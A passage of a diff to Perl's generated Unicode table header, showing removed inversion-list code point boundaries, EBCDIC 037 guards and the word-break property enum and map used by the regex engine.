0x1144B, - 0x11450, - 0x1145A, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115D8, - 0x115DC, - 0x115DE, - 0x11600, - 0x11630, - 0x11641, - 0x11644, - 0x11645, - 0x11650, - 0x1165A, - 0x11680, - 0x116AB, - 0x116B8, - 0x116C0, - 0x116CA, - 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, - 0x118A0, - 0x118E0, - 0x118EA, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11A9A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C41, - 0x11C50, - 0x11C5A, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF5, - 0x16B00, - 0x16B30, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B50, - 0x16B5A, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1B000, - 0x1B001, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8D0, - 0x1E8D7, - 0x1E900, - 0x1E944, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - WB_Other = 0, - WB_ALetter = 1, - WB_CR = 2, - WB_Double_Quote = 3, - WB_E_Base = 4, - WB_E_Base_GAZ = 5, - WB_E_Modifier = 6, - WB_Extend = 7, - WB_ExtendNumLet = 8, - WB_Format = 9, - WB_Glue_After_Zwj = 10, - WB_Hebrew_Letter = 11, - WB_Katakana = 12, - WB_LF = 13, - WB_MidLetter = 14, - WB_MidNum = 15, - WB_MidNumLet = 16, - WB_Newline = 17, - WB_Numeric = 18, - WB_Perl_Tailored_HSpace = 19, - WB_Regional_Indicator = 20, - WB_Single_Quote = 21, - WB_ZWJ = 22, - WB_EDGE = 23, - WB_UNKNOWN = 24 -} WB_enum; - -static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 037 */ - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_Newline, - WB_CR, - WB_Other, - WB_Newline, - WB_Other, - WB_LF, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_ALetter, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidLetter, - WB_Other, - WB_Single_Quote, - WB_Other, - WB_Double_Quote, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidLetter, - WB_Other, - WB_ALetter, - WB_Format, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_MidNum, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_MidLetter, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_ALetter, - WB_MidLetter, - WB_Other, - WB_Format, - WB_Other, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Format, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Format, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Numeric, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Perl_Tailored_HSpace, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Format, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Numeric, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_Extend, - WB_ZWJ, - WB_Format, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidLetter, - WB_Newline, - WB_Format, - WB_ExtendNumLet, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_MidNum, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Format, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_E_Base, - WB_Other, - WB_Glue_After_Zwj, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Perl_Tailored_HSpace, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_Katakana, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Hebrew_Letter, - WB_Extend, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_Other, - WB_Hebrew_Letter, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_MidNum, - WB_Other, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_Extend, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ExtendNumLet, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNum, - WB_MidLetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidNum, - WB_Other, - WB_MidNumLet, - WB_Other, - WB_MidLetter, - WB_MidNum, - WB_Other, - WB_ALetter, - WB_Other, - WB_ExtendNumLet, - WB_Other, - WB_ALetter, - WB_Other, - WB_Katakana, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Format, - WB_Other, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_Numeric, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Numeric, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_Extend, - WB_Other, - WB_ALetter, - WB_Extend, - WB_ALetter, - WB_Other, - WB_Numeric, - WB_Other, - WB_ALetter, - 